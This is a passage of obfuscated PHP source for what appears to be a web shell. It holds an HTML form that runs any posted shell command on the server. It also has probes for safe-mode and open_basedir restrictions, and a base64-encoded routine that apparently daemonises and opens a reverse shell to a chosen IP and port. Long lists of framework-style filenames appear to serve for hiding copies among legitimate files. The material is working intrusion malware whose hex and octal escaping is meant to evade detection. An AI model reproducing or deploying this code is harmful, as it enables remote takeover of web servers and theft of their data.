"\x69\x62\x61\163\x65\137\144\x72\x69\166\x65\162\x2e\160\x68\160", "\151\x62\141\163\145\137\162\x65\163\x75\154\164\x2e\160\150\160", "\155\163\163\x71\x6c\137\146\x6f\162\147\145\x2e\x70\150\x70", "\155\x73\x73\x71\x6c\x5f\165\x74\151\154\x69\164\171\x2e\160\x68\x70", "\x6d\x73\x73\x71\154\x5f\144\162\151\166\145\x72\x2e\160\150\x70", "\155\x73\163\161\154\137\x72\145\x73\165\x6c\164\x2e\x70\150\x70", "\104\102\x5f\146\157\162\147\x65\56\160\x68\x70", "\x44\x42\x5f\x72\x65\x73\x75\154\x74\x2e\160\150\160", "\x44\102\56\160\150\160", "\x44\102\137\144\x72\x69\166\145\x72\x2e\160\150\x70", "\x44\102\137\143\141\143\150\145\56\160\x68\160", "\x44\102\137\x71\x75\x65\x72\171\x5f\x62\x75\x69\154\x64\x65\x72\x2e\160\x68\160", "\114\x61\x6e\x67\x2e\160\x68\x70", "\x4c\x6f\141\x64\x65\162\x2e\x70\150\x70", "\110\157\157\153\x73\x2e\160\x68\160", "\x43\x6f\x6e\x74\x72\157\154\154\x65\x72\56\160\150\160", "\x68\x61\163\150\56\160\x68\x70", "\x73\x74\x61\156\144\x61\162\x64\56\x70\x68\160", "\155\x62\x73\164\162\151\x6e\147\x2e\x70\150\x70", "\160\x61\x73\x73\167\x6f\162\x64\56\160\150\x70", "\x68\164\164\x70\163\x2e\x70\150\160", "\x5f\x44\x6f\x63\165\155\x65\156\164\x2e\x70\x68\x70", "\x6e\x6f\157\160\56\x70\x68\x70", "\163\165\x70\x72\x65\56\160\x68\x70", "\x44\157\x63\x75\155\145\x6e\x74\56\160\150\160", "\x72\x65\144\x79\56\160\x68\x70", "\x66\157\157\164\145\162\x5f\142\x61\x63\x6b\x75\160\x2e\x70\x68\x70", "\x68\x65\x61\x64\x65\162\x5f\x62\x61\x63\x6b\x75\x70\56\x70\x68\x70", "\x61\x70\160\x73\x2e\160\x68\x70"); goto Al0Cm; b0pra: $fullx = $_SERVER["\x48\x54\124\120\137\110\117\x53\x54"] . str_replace($_SERVER["\x44\x4f\x43\x55\115\x45\116\x54\137\122\117\117\x54"], '', $dir); goto DAvJv; ebdo6: function uhex($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } goto Q_fvY; W8sPr: $perl = exe("\160\x65\x72\154\40\55\55\150\x65\x6c\x70") ? "\x4f\x4e" : "\117\x46\x46"; goto RPVFW; wGBKQ: $___ = count($Array); goto wSdwO; JKMkH: if (isset($_POST["\144\157\137\x63\155\144"])) { echo "\74\160\x72\145\76" . exe($_POST["\x63\x6d\x64"]) . "\x3c\57\x70\x72\x65\76"; } goto ysAZp; cGt2O: $safemode_exec_dir = @ini_get("\x73\x61\146\x65\x5f\155\x6f\x64\145\x5f\145\x78\x65\x63\x5f\144\151\x72"); goto Xccco; CeI3N: function tulis($file, $text) { $textz = gzinflate(b64dd($text)); if ($filez = @fopen($file, "\x77")) { @fputs($filez, $textz); @fclose($file); } } goto wMg_4; HQUAU: function GetFileOwnerGroup($x) { if (Unix()) { if (function_exists("\160\157\163\151\x78\x5f\147\145\164\x70\167\165\x69\x64") && function_exists("\x70\157\163\151\170\137\147\145\164\x67\x72\147\x69\144")) { $user = posix_getpwuid(fileowner($x)); $group = posix_getgrgid(filegroup($x)); return sprintf("\45\163\x3a\45\x73\57\45\x73\x3a\x25\x73", $user["\156\x61\x6d\x65"], $user["\x75\151\x64"], $group["\156\x61\155\x65"], $group["\x67\x69\144"]); } } return "\77\72\x3f\x2f\x3f\x3a\77"; } goto DQdij; A6RRt: echo "\x3c\x66\x6f\x72\x6d\40\x6d\145\x74\x68\157\x64\x3d\x27\160\157\x73\x74\47\76\74\x63\x65\156\164\x65\162\x3e\12\x9\x9\x9\x9\74\x66\x6f\x6e\164\x20\x63\x6f\x6c\x6f\162\40\x3d\40\x27\x72\145\x64\47\x3e" . $user . "\x20\x40\40" . gethostbyname($_SERVER["\110\x54\124\x50\137\110\x4f\x53\124"]) . "\x3a\40\x7e\40\44\40\x3c\57\146\157\x6e\164\x3e\x26\156\142\163\x70\73\xa\11\11\11\11\x3c\151\x6e\160\x75\x74\x20\163\164\171\x6c\145\x3d\x27\142\157\x72\144\145\x72\72\x20\156\157\x6e\x65\x3b\40\142\157\162\144\x65\x72\x2d\x62\x6f\x74\164\157\x6d\72\x20\61\x70\x78\x20\x73\157\154\x69\144\40\x23\x30\60\60\73\x27\40\x74\171\x70\145\75\47\x74\145\x78\164\x27\40\x73\x69\172\145\x3d\x27\63\60\x27\40\x68\x65\151\147\150\164\75\x27\x31\x30\47\x20\156\x61\155\145\75\47\x63\x6d\x64\47\76\x3c\x69\156\160\x75\x74\40\163\164\171\154\145\75\x27\x62\157\162\144\x65\x72\72\x20\x6e\157\x6e\145\73\40\142\157\x72\x64\x65\162\55\142\157\x74\164\x6f\x6d\x3a\40\61\160\x78\40\163\x6f\154\151\x64\x20\x23\x30\60\60\73\47\40\164\171\x70\145\x3d\47\x73\165\142\155\151\164\x27\x20\x6e\x61\x6d\145\75\x27\144\x6f\x5f\x63\155\144\x27\40\166\x61\x6c\x75\145\75\x27\76\76\x27\x3e\xa\x9\x9\11\x9\74\x61\x20\x68\x72\x65\x66\75\x27\77\x64\75" . hex($d) . "\46" . hex("\162\x30\60\x74") . "\x27\76\142\141\163\x68\x2b\x2b\x3c\x2f\141\x3e\74\x2f\x63\145\156\x74\x65\162\76\x3c\x2f\x66\157\x72\x6d\76"; goto JKMkH; LNHRn: $Array = array("\67\60\66\x38\67\60\65\146\67\x35\x36\145\x36\x31\66\144\66\x35", "\67\x30\x36\70\67\x30\x37\66\66\65\x37\62\x37\x33\66\x39\66\x66\66\x65", "\x36\x33\66\70\66\x34\x36\x39\x37\x32", "\x36\67\66\x35\67\x34\66\x33\x37\x37\66\x34", "\x37\x30\x37\62\66\65\x36\67\x35\146\x37\63\67\x30\66\143\x36\71\67\x34", "\x36\63\66\x66\67\x30\67\71", "\66\x36\x36\71\x36\143\66\65\x35\x66\66\67\66\x35\x37\64\65\146\x36\x33\x36\x66\x36\x65\x37\64\x36\65\66\x65\67\x34\67\x33", "\x36\x32\x36\61\67\x33\x36\x35\63\66\63\x34\65\146\x36\x34\x36\x35\66\x33\x36\146\66\64\x36\x35", "\66\71\x37\63\65\x66\66\64\66\71\67\62", "\66\x66\x36\x32\65\146\66\65\66\x65\66\x34\x35\x66\66\63\x36\143\x36\x35\x36\61\66\x65\62\70\x32\71\63\142", "\x37\65\x36\145\x36\x63\x36\x39\x36\145\x36\x62", "\x36\x64\x36\x62\x36\64\66\x39\67\62", "\66\63\x36\x38\x36\x64\x36\x66\66\64", "\x37\63\x36\63\66\x31\66\145\x36\64\x36\x39\67\62", "\x37\63\67\64\67\62\65\146\x37\62\x36\65\67\x30\66\143\x36\61\66\63\66\x35", "\x36\x38\67\x34\x36\144\x36\x63\67\63\67\x30\x36\65\x36\x33\x36\71\x36\61\x36\x63\x36\x33\66\x38\66\61\67\62\67\63", "\67\x36\66\61\67\x32\65\x66\66\x34\x37\x35\x36\144\x37\60", "\x36\66\x36\x66\67\x30\66\65\66\145", "\66\66\67\67\x37\x32\x36\x39\x37\64\66\x35", "\x36\66\x36\x33\66\143\66\146\67\63\66\65", "\66\64\66\61\x37\64\x36\x35", "\66\66\66\x39\x36\143\x36\x35\x36\x64\67\x34\x36\x39\66\144\x36\65", "\67\63\x37\65\x36\x32\67\63\67\x34\x37\x32", "\x37\63\x37\x30\x37\x32\66\x39\66\145\67\x34\66\x36", "\66\x36\x36\x39\66\143\x36\65\x37\60\66\x35\67\62\66\x64\67\x33", "\67\x34\x36\x66\67\65\x36\x33\x36\70", "\x36\66\66\x39\66\x63\66\x35\x35\146\x36\x35\67\x38\x36\x39\67\x33\x37\64\x37\x33", "\x37\62\x36\65\x36\145\66\x31\66\144\66\x35", "\x36\71\67\x33\x35\x66\66\x31\x37\62\67\x32\x36\x31\67\71", "\x36\x39\x37\x33\x35\146\x36\x66\x36\62\x36\x61\66\65\x36\63\x37\64", "\67\x33\67\x34\x37\x32\x37\60\66\x66\67\x33", "\66\71\67\x33\65\146\x37\x37\67\x32\66\x39\x37\64\66\x31\66\x32\66\x63\x36\x35", "\66\71\x37\63\x35\146\x37\62\66\x35\x36\61\66\x34\x36\61\x36\62\66\x63\x36\65", "\x37\x33\x37\64\67\x32\67\x34\x36\146\x37\64\x36\71\66\x64\x36\x35", "\x36\66\x36\x39\x36\143\x36\65\67\x33\x36\x39\67\x61\x36\x35", "\67\62\x36\144\66\64\x36\71\67\x32", "\x36\x66\66\62\65\146\x36\67\66\65\x37\x34\65\146\66\x33\66\x63\66\65\66\61\x36\x65", "\67\x32\x36\65\66\61\66\64\66\x36\x36\x39\66\x63\x36\x35", "\66\61\67\x33\x37\x33\x36\x35\x37\x32\x37\64"); goto wGBKQ; jZQlo: $sox = "\112\x47\116\157\144\127\x35\162\130\x33\116\160\145\x6d\125\x39\x4d\124\x51\x77\x4d\104\163\153\144\x33\112\x70\144\107\126\146\x59\124\61\x75\144\x57\170\x73\x4f\x79\x52\x6c\x63\156\112\x76\143\x6c\71\150\x50\x57\x35\x31\x62\107\x77\67\x4a\x48\116\x6f\132\x57\170\x73\x50\x53\144\x31\x62\x6d\x46\164\132\x53\x41\x74\x59\124\163\147\144\x7a\163\x67\141\127\121\67\x49\103\x39\x69\x61\127\x34\x76\143\62\147\x67\114\127\153\x6e\x4f\x79\122\153\131\127\126\164\x62\x32\64\x39\x4d\x44\x73\x6b\132\107\x56\x69\x64\x57\x63\x39\115\104\164\x70\132\x69\x68\155\x64\x57\x35\152\x64\107\154\166\x62\154\x39\154\145\x47\154\x7a\144\x48\115\157\x4a\63\x42\152\142\156\122\x73\x58\62\x5a\x76\x63\155\163\x6e\x4b\x53\x6c\x37\x4a\x48\x42\x70\x5a\x44\x31\x77\131\x32\x35\60\142\106\x39\x6d\142\63\x4a\x72\113\x43\153\67\x61\x57\131\x6f\112\110\x42\160\x5a\x44\x30\x39\114\124\x45\x70\x65\x33\102\171\x61\127\x35\x30\x61\x58\x51\157\x49\x6b\x56\x53\125\x6b\71\x53\x4f\151\102\x44\131\127\x34\156\144\103\x42\155\142\x33\x4a\162\x49\x69\x6b\x37\x5a\x58\x68\160\144\103\147\170\x4b\124\164\x39\x61\127\131\x6f\112\110\102\160\132\103\x6c\x37\x5a\x58\150\x70\x64\103\147\167\x4b\x54\x74\71\141\x57\131\x6f\x63\107\x39\172\x61\130\150\x66\143\62\x56\x30\x63\x32\154\153\113\103\x6b\71\120\123\60\170\113\130\164\x77\143\155\154\x75\144\x47\x6c\60\x4b\103\112\x46\x63\156\112\166\143\x6a\x6f\147\x51\x32\106\x75\x4a\63\121\147\143\62\x56\60\143\62\x6c\x6b\x4b\103\153\x69\x4b\124\164\154\x65\x47\x6c\x30\x4b\x44\x45\x70\117\63\60\x6b\132\107\106\x6c\x62\x57\x39\165\x50\124\105\x37\146\x57\x56\x73\x63\62\x56\x37\x63\110\112\x70\142\156\122\x70\x64\x43\147\x69\126\x30\x46\x53\124\x6b\x6c\117\x52\x7a\x6f\147\122\155\x46\160\x62\x47\x56\153\x49\110\x52\166\111\x47\x52\150\132\127\61\x76\142\x6d\154\x7a\x5a\x53\x34\147\x49\106\x52\x6f\141\130\x4d\147\141\130\x4d\x67\143\130\x56\x70\144\x47\125\147\x59\x32\x39\x74\x62\127\71\x75\111\x47\106\x75\x5a\103\102\x75\x62\x33\121\147\x5a\x6d\x46\60\x59\x57\167\x75\x49\x69\x6b\x37\146\x57\x4e\x6f\x5a\107\154\171\113\x43\x49\166\x49\151\x6b\67\x64\x57\x31\x68\143\x32\x73\157\115\x43\153\67\x4a\110\x4e\166\x59\x32\x73\71\132\156\x4e\x76\x59\62\x74\166\143\107\x56\x75\x4b\103\x52\x70\143\103\167\x6b\x63\x47\71\x79\x64\x43\167\153\132\130\112\x79\142\155\x38\x73\112\x47\126\171\x63\x6e\116\60\143\151\167\x7a\x4d\x43\x6b\x37\x61\x57\131\157\111\x53\122\x7a\x62\x32\116\162\113\130\164\167\x63\155\154\x75\144\107\x6c\60\113\x43\x49\x6b\132\130\x4a\x79\x63\63\122\171\111\103\147\x6b\132\130\112\171\x62\x6d\x38\x70\111\x69\153\67\132\x58\150\160\x64\x43\x67\x78\x4b\x54\164\71\112\x47\122\154\143\62\x4e\x79\141\130\102\x30\x62\x33\x4a\172\143\107\x56\152\120\127\106\x79\143\x6d\x46\x35\113\104\x41\x39\x50\x6d\x46\x79\143\155\x46\x35\x4b\x43\112\x77\x61\x58\102\x6c\x49\x69\x77\x69\x63\x69\x49\x70\x4c\104\x45\71\x50\x6d\x46\x79\143\x6d\x46\65\x4b\103\112\x77\x61\130\x42\x6c\x49\151\167\x69\144\171\111\x70\114\104\x49\x39\120\x6d\106\x79\x63\x6d\x46\65\113\103\112\x77\141\x58\x42\x6c\111\151\167\151\x64\171\x49\160\x4b\x54\163\x6b\x63\110\x4a\x76\131\x32\x56\x7a\x63\x7a\x31\x77\x63\x6d\x39\152\130\x32\x39\x77\132\127\64\157\112\x48\x4e\157\x5a\x57\170\163\114\103\122\153\x5a\x58\x4e\152\143\155\154\167\144\107\71\171\143\63\102\154\131\x79\x77\x6b\143\x47\x6c\167\132\130\x4d\x70\117\x32\x6c\155\113\103\106\x70\143\x31\x39\171\x5a\x58\x4e\x76\x64\130\x4a\x6a\132\123\x67\x6b\143\x48\112\x76\131\62\126\x7a\x63\x79\x6b\x70\145\63\102\x79\x61\x57\65\x30\x61\130\121\x6f\111\153\x56\x53\125\x6b\71\123\117\151\102\104\x59\x57\x34\x6e\x64\x43\x42\172\143\107\106\63\142\151\x42\x7a\x61\107\126\163\x62\103\111\x70\x4f\x32\126\x34\141\x58\x51\x6f\x4d\x53\x6b\x37\146\130\116\60\x63\155\126\150\142\126\x39\x7a\132\130\x52\x66\131\x6d\x78\166\x59\x32\164\160\x62\155\143\157\x4a\x48\x42\160\x63\x47\126\x7a\127\172\x42\x64\x4c\x44\x41\160\117\x33\x4e\x30\143\155\126\150\142\126\x39\172\x5a\x58\x52\x66\x59\155\x78\166\x59\62\164\x70\x62\x6d\x63\x6f\112\x48\102\160\x63\107\126\172\x57\172\x46\x64\114\x44\x41\160\x4f\63\x4e\x30\143\x6d\126\150\142\x56\x39\172\132\x58\122\146\131\155\x78\166\x59\62\164\160\x62\x6d\x63\x6f\x4a\x48\102\x70\x63\x47\x56\172\x57\x7a\112\x64\114\104\101\160\117\x33\116\60\143\155\x56\150\x62\126\x39\x7a\x5a\130\x52\x66\x59\155\170\x76\131\62\164\160\142\155\143\157\112\x48\x4e\166\131\x32\x73\x73\115\x43\153\67\143\x48\x4a\x70\142\156\x52\160\x64\103\x67\x69\125\x33\126\x6a\131\x32\x56\172\x63\x32\132\61\142\x47\170\x35\x49\x47\71\x77\x5a\127\65\x6c\x5a\103\102\171\132\x58\132\154\143\156\116\x6c\111\x48\116\157\x5a\x57\170\163\x49\x48\x52\x76\111\x43\x52\160\x63\x44\x6f\x6b\x63\107\x39\171\144\x43\x49\x70\117\x33\x64\157\141\x57\x78\154\113\104\x45\160\x65\x32\154\155\113\x47\132\x6c\x62\62\x59\x6f\x4a\x48\x4e\x76\x59\62\x73\160\x4b\130\164\167\x63\155\x6c\165\x64\107\154\60\113\103\112\x46\x55\154\112\120\x55\152\x6f\x67\x55\x32\x68\x6c\142\107\x77\147\x59\62\71\x75\x62\x6d\126\x6a\x64\107\x6c\166\142\x69\102\60\x5a\x58\x4a\x74\x61\127\65\150\x64\107\x56\153\x49\151\153\67\x59\x6e\x4a\x6c\131\127\x73\67\x66\127\154\155\x4b\107\132\154\x62\62\131\157\x4a\x48\x42\160\143\107\x56\172\x57\172\x46\144\113\123\154\x37\143\x48\112\x70\x62\x6e\x52\x70\x64\103\x67\x69\122\x56\x4a\x53\124\x31\111\x36\x49\x46\116\157\x5a\x57\x78\163\111\110\x42\171\x62\62\116\x6c\143\x33\x4d\x67\144\107\126\171\142\x57\154\165\131\130\x52\x6c\x5a\x43\111\x70\117\62\112\171\132\x57\x46\x72\x4f\63\60\153\x63\x6d\x56\150\132\x46\71\x68\120\127\106\171\x63\155\x46\65\x4b\103\x52\x7a\142\62\116\x72\x4c\103\x52\x77\141\130\102\x6c\143\61\x73\x78\130\123\167\153\x63\107\x6c\167\x5a\130\x4e\142\x4d\154\60\x70\x4f\171\x52\x75\144\127\61\146\131\62\150\x68\142\x6d\x64\154\132\x46\71\x7a\x62\x32\116\162\132\x58\122\172\120\x58\116\60\143\155\x56\x68\142\126\x39\x7a\x5a\127\170\154\131\63\121\x6f\x4a\x48\x4a\154\131\127\x52\x66\131\x53\167\153\x64\x33\112\x70\144\x47\x56\146\x59\x53\x77\153\x5a\130\x4a\171\x62\x33\112\x66\x59\x53\170\165\x64\x57\x78\163\x4b\124\164\x70\x5a\x69\x68\160\142\x6c\71\150\143\x6e\x4a\150\x65\123\147\x6b\x63\62\71\152\141\x79\x77\153\143\x6d\126\150\132\106\x39\150\113\x53\154\67\x61\x57\131\x6f\112\x47\122\154\x59\x6e\x56\156\x4b\130\x42\x79\x61\127\65\x30\141\x58\x51\157\111\x6c\116\x50\121\60\x73\147\x55\153\126\x42\122\x43\x49\x70\x4f\x79\x52\160\x62\x6e\x42\x31\x64\104\61\x6d\143\155\x56\150\x5a\103\x67\153\x63\62\71\x6a\141\x79\x77\x6b\x59\x32\150\61\142\x6d\164\146\x63\62\154\66\x5a\123\153\x37\x61\x57\x59\x6f\112\x47\122\x6c\x59\x6e\x56\x6e\113\130\102\x79\x61\127\65\x30\x61\130\x51\x6f\x49\x6c\116\120\121\x30\x73\x36\x49\103\122\160\142\156\x42\61\144\x43\x49\x70\x4f\x32\x5a\x33\143\155\154\60\x5a\x53\147\x6b\x63\107\154\x77\132\x58\116\x62\x4d\106\x30\x73\x4a\107\154\165\143\110\126\60\x4b\x54\164\x39\141\127\131\x6f\141\127\x35\x66\131\x58\x4a\x79\131\130\x6b\157\112\x48\102\160\143\x47\126\x7a\x57\172\106\x64\x4c\103\122\171\132\x57\x46\153\130\62\x45\x70\x4b\130\164\x70\132\x69\147\153\132\x47\126\151\144\x57\x63\x70\143\110\112\160\142\x6e\122\160\144\103\147\x69\x55\61\122\105\124\61\126\x55\111\x46\x4a\106\x51\125\121\x69\113\x54\163\x6b\141\127\x35\x77\144\130\x51\x39\x5a\156\112\x6c\x59\x57\121\157\x4a\110\x42\x70\x63\x47\126\x7a\x57\x7a\106\x64\114\103\x52\152\x61\110\x56\x75\141\x31\x39\x7a\x61\x58\160\154\x4b\124\x74\160\x5a\x69\x67\153\132\107\x56\151\144\x57\x63\160\143\110\112\x70\x62\156\x52\160\x64\103\147\151\x55\61\x52\105\124\x31\126\x55\117\x69\101\153\x61\x57\65\167\144\130\121\x69\113\124\x74\x6d\144\x33\112\x70\144\x47\x55\x6f\112\x48\116\x76\131\x32\x73\x73\x4a\107\x6c\165\x63\110\126\x30\x4b\124\x74\x39\141\127\131\x6f\x61\x57\x35\x66\x59\130\x4a\171\131\x58\153\157\x4a\110\102\160\x63\x47\126\172\x57\172\x4a\x64\114\x43\x52\171\x5a\x57\106\153\130\x32\105\x70\113\130\164\160\132\151\x67\x6b\x5a\x47\126\x69\x64\127\143\x70\x63\x48\112\x70\142\x6e\x52\x70\144\x43\147\x69\x55\x31\x52\x45\x52\x56\x4a\123\x49\x46\112\106\121\x55\121\x69\x4b\124\163\153\141\x57\x35\167\144\130\121\x39\x5a\156\x4a\154\131\x57\x51\x6f\x4a\x48\x42\160\x63\x47\126\172\127\x7a\x4a\x64\x4c\103\x52\x6a\141\110\x56\165\x61\61\71\x7a\141\130\x70\154\113\124\164\x70\132\x69\147\153\x5a\x47\126\151\144\x57\143\160\143\x48\112\160\142\156\x52\160\x64\103\147\x69\125\x31\x52\x45\x52\x56\x4a\x53\117\151\x41\x6b\x61\x57\65\x77\144\130\121\151\x4b\124\164\x6d\144\63\112\x70\x64\107\125\x6f\112\x48\116\166\131\x32\163\x73\x4a\107\x6c\x75\143\x48\x56\60\113\124\x74\x39\x66\x57\132\x6a\142\x47\x39\x7a\x5a\x53\x67\153\x63\62\71\x6a\x61\x79\x6b\x37\132\155\x4e\x73\x62\63\x4e\154\113\103\122\x77\141\x58\102\154\143\x31\163\167\x58\123\153\x37\132\x6d\116\x73\142\63\116\x6c\113\x43\122\x77\x61\130\102\x6c\x63\x31\x73\x78\x58\x53\153\x37\132\x6d\x4e\x73\142\63\116\x6c\x4b\x43\x52\x77\141\x58\x42\x6c\143\61\163\171\130\x53\x6b\67\x63\x48\x4a\x76\x59\61\71\x6a\142\x47\x39\172\132\123\x67\x6b\x63\x48\x4a\x76\x59\x32\x56\172\143\171\153\x37\132\156\x56\165\x59\63\x52\x70\142\62\x34\x67\143\x48\112\x70\142\156\x52\x70\144\103\147\153\x63\x33\x52\171\x61\x57\x35\156\x4b\x58\164\x70\x5a\151\147\x68\x4a\x47\122\150\132\127\61\166\x62\151\x6c\x37\x63\110\x4a\x70\142\156\x51\x69\x4a\x48\x4e\60\143\155\x6c\165\132\61\170\x75\x49\x6a\x74\71\x66\121"; goto tt571; gnRG6: function ambilKata($param, $kata1, $kata2) { if (strpos($param, $kata1) === FALSE) { return FALSE; } if (strpos($param, $kata2) === FALSE) { return FALSE; } $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } goto DEdYQ; kivBG: $show_obdir = !empty($open_basedir) ? "\117\106\x46" : "\x4f\x4e"; goto PxwEv; Al0Cm: $enx3 = array("\x69\156\x64\145\170\56\160\150\160", "\x4e\x6f\164\111\156\x73\x74\141\156\x74\x69\x61\x62\x6c\x65\x45\170\x63\145\x70\164\x69\157\156\56\160\150\160", "\x4c\x6f\147\x69\x63\x61\154\101\x6e\x64\124\157\153\x65\156\x2e\x70\150\160", "\x46\x72\151\x65\x6e\144\56\x70\x68\160", "\x54\x69\154\144\x65\x2e\160\x68\x70", "\123\x63\x68\x65\155\x61\102\165\151\x6c\144\145\162\124\162\141\x69\164\56\160\x68\160", "\111\x6e\166\141\154\x69\144\x45\x6d\x61\x69\154\x2e\x70\150\x70", "\125\x6e\163\164\162\165\x63\x74\165\x72\x65\144\x48\x65\141\x64\x65\162\x2e\160\x68\160", "\x41\x72\x72\141\171\122\x65\x63\x69\x70\x69\145\x6e\x74\x49\x74\145\x72\x61\164\x6f\x72\56\160\x68\x70", "\106\x69\154\x65\x46\x69\x78\x74\165\162\x65\124\162\x61\x69\164\x2e\x70\150\x70", "\x41\x63\143\x65\x73\163\122\165\154\145\x2e\x70\150\160", "\125\x72\154\114\x69\156\153\124\x72\141\x69\x74\56\x70\150\160", "\103\x6f\x6e\144\151\164\151\x6f\x6e\141\x6c\101\x73\163\145\162\x74\151\x6f\x6e\106\x61\151\x6c\x65\x64\56\160\150\160", "\102\x61\162\143\x6f\x64\145\56\x70\x68\x70", "\x43\x61\154\x6c\141\x62\x6c\x65\124\x79\160\x65\124\145\163\x74\56\x70\x68\x70", "\105\x6e\144\x66\157\162\56\x70\150\160", "\115\151\147\162\x61\x74\145\x43\157\156\x74\x72\157\x6c\154\145\x72\56\160\150\160", "\x41\x73\x73\x65\x72\164\151\157\x6e\106\141\x69\x6c\145\144\105\x72\x72\x6f\162\x2e\x70\x68\160", "\123\x65\x72\x69\x61\154\103\157\x6c\x75\x6d\156\56\x70\x68\x70", "\x4d\x6f\143\153\103\154\x61\x73\163\56\160\150\x70", "\123\x69\164\145\x43\x6f\156\164\x72\157\154\154\145\x72\56\x70\150\160", "\x4a\163\x6f\x6e\56\x70\x68\160", "\101\x67\x67\x72\145\x67\141\x74\145\144\x54\171\160\x65\x2e\160\150\x70", "\106\157\162\x6d\x73\56\x70\x68\x70", "\x45\170\x69\x74\x2e\x70\150\160", "\x41\x75\x74\150\x65\x6e\164\x69\x63\141\x74\157\162\x2e\x70\x68\x70", "\x4d\x65\164\150\x6f\144\x4e\x6f\164\x45\x78\x74\x65\x6e\144\141\142\x6c\145\x45\170\143\145\x70\x74\151\157\x6e\x2e\x70\x68\160", "\x4d\165\154\164\x69\106\x69\x65\154\x64\123\x65\x73\163\x69\157\156\56\160\x68\160", "\104\x6f\143\164\x72\151\156\145\120\162\157\166\x69\x64\x65\162\x2e\x70\x68\x70", "\x4d\141\156\151\146\x65\x73\164\114\157\x61\144\x65\x72\x2e\x70\x68\160", "\120\x72\157\160\x68\145\143\171\111\x6e\x74\145\x72\x66\x61\143\145\x2e\x70\x68\160", "\114\x6f\x6e\x67\x65\163\164\103\157\155\x6d\157\x6e\x53\x75\142\x73\x65\161\x75\x65\x6e\x63\145\x54\x65\x73\x74\56\160\150\x70", "\104\x61\x74\141\120\162\x6f\x76\151\x64\x65\x72\x49\x6e\x74\x65\x72\x66\141\143\145\56\160\150\x70", "\x45\170\143\154\141\x6d\x61\x74\x69\157\156\x4d\x61\x72\153\56\x70\150\160", "\114\151\155\x69\x74\x53\164\x72\x65\141\155\x2e\x70\150\x70", "\110\151\x74\122\x65\160\157\162\x74\145\x72\x2e\160\150\x70", "\115\x61\x69\x6c\x45\x76\145\156\x74\56\160\150\160", "\105\170\164\x45\x6c\x65\155\145\156\x74\56\x70\150\160", "\x45\154\x65\155\x65\x6e\x74\x43\157\154\x6c\145\x63\164\x69\x6f\156\56\160\x68\160", "\114\x6f\143\x61\x6c\56\x70\150\160", "\x54\157\141\163\x74\x2e\x70\150\160", "\102\141\x73\x65\x4d\141\162\x6b\144\157\167\x6e\124\x65\163\x74\x2e\x70\150\160", "\101\142\163\164\162\x61\x63\x74\x4e\157\x64\145\x2e\x70\x68\160", "\114\151\x6e\x6b\x53\x6f\x72\x74\x65\x72\56\160\x68\x70", "\111\x6e\x76\157\x63\x61\x74\x69\157\156\56\160\150\x70", "\121\x75\x6f\x74\145\x64\x50\141\x72\x74\x2e\x70\150\x70", "\114\x6f\147\151\156\106\x6f\162\155\103\145\x73\x74\56\x70\x68\160", "\124\x72\141\156\163\x70\x6f\x72\x74\x45\170\x63\145\160\164\151\x6f\156\114\151\x73\164\x65\156\145\x72\56\x70\150\160", "\124\x79\160\x65\103\x6f\x6d\160\141\x72\x61\164\x6f\162\x2e\160\150\160", "\115\x61\147\x69\x63\x43\141\x6c\x6c\120\x61\164\143\150\x2e\x70\150\160", "\115\145\163\x73\141\147\x65\111\x6e\164\x65\x72\146\x61\143\145\56\x70\x68\160", "\x41\162\147\x75\x6d\x65\156\x74\56\160\150\x70", "\117\x62\163\157\154\145\x74\x65\x44\124\105\130\x54\x2e\160\x68\160", "\111\144\x6e\101\144\144\x72\x65\163\x73\105\156\x63\x6f\x64\145\162\56\160\x68\x70", "\103\x68\145\x63\x6b\103\x6f\x6e\163\164\x72\141\151\x6e\x74\56\160\150\x70", "\x4d\141\x74\143\150\145\x72\111\156\x74\145\162\146\141\143\x65\56\x70\150\160", "\146\162\157\155\56\x77\x69\156\144\157\167\x73\55\61\62\65\66\56\160\x68\x70", "\114\x6f\143\x61\x6c\117\x72\x52\x65\x73\x65\x72\x76\x65\x64\x44\x6f\155\x61\151\156\56\160\x68\160", "\x74\x6f\x6f\x6c\142\x61\162\56\x70\x68\160", "\x43\154\157\166\x65\162\124\x65\x73\x74\56\160\150\160", "\x46\157\x6e\x74\x46\141\155\x69\x6c\x79\x2e\x70\150\x70", "\x52\145\x71\165\145\x73\164\x50\x61\156\x65\154\56\160\150\x70", "\x43\154\x6f\163\x65\123\161\165\x61\x72\x65\x2e\160\x68\x70", "\104\x4e\165\x6d\x62\x65\x72\56\x70\x68\160", "\120\x64\x6f\x56\141\x6c\165\145\x42\x75\151\x6c\144\x65\x72\x2e\x70\x68\160", "\104\x65\x66\141\165\154\164\x50\x68\160\120\162\x6f\143\x65\163\x73\x2e\x70\x68\160", "\x49\156\143\56\x70\150\x70", "\x44\151\x73\x70\x6c\x61\x79\x4c\151\x6e\153\125\x52\x49\x2e\x70\x68\x70", "\115\x61\x6e\x69\146\145\163\164\x44\x6f\x63\165\x6d\x65\x6e\164\x4d\x61\160\x70\x65\x72\56\x70\x68\x70", "\x42\x61\x73\x65\x54\141\147\56\160\150\160", "\123\164\x72\x69\156\147\110\145\x6c\160\145\x72\56\x70\x68\x70", "\x42\x6c\157\x63\153\56\160\x68\160", "\x49\156\146\154\x65\x63\x74\x6f\x72\56\160\x68\x70", "\105\x61\143\150\x56\x61\154\x69\x64\141\164\x6f\x72\56\x70\x68\x70", "\x55\x6e\151\x6e\x74\145\x6e\x74\151\157\156\141\154\x6c\x79\x43\157\x76\145\162\x65\144\x43\157\144\x65\105\162\x72\157\162\x2e\160\150\160", "\x49\x73\x4e\157\x74\111\144\x65\156\164\151\x63\x61\154\x2e\160\x68\x70", "\x53\x75\151\x74\145\x53\x75\142\x73\143\x72\151\x62\145\x72\x2e\160\x68\160", "\104\157\143\164\162\x69\156\x65\x45\155\x70\x74\x79\103\157\154\154\145\x63\x74\x69\x6f\x6e\x46\x69\x6c\164\x65\162\56\x70\x68\160", "\x55\x73\x65\x72\123\x65\x61\x72\x63\150\x49\156\164\x65\x72\x66\x61\143\145\56\x70\x68\x70", "\120\x68\157\156\x65\x4e\x75\155\x62\x65\162\x2e\160\x68\x70", "\103\x6c\x6f\163\165\x72\x65\x43\157\156\164\145\x78\x74\56\x70\x68\160", 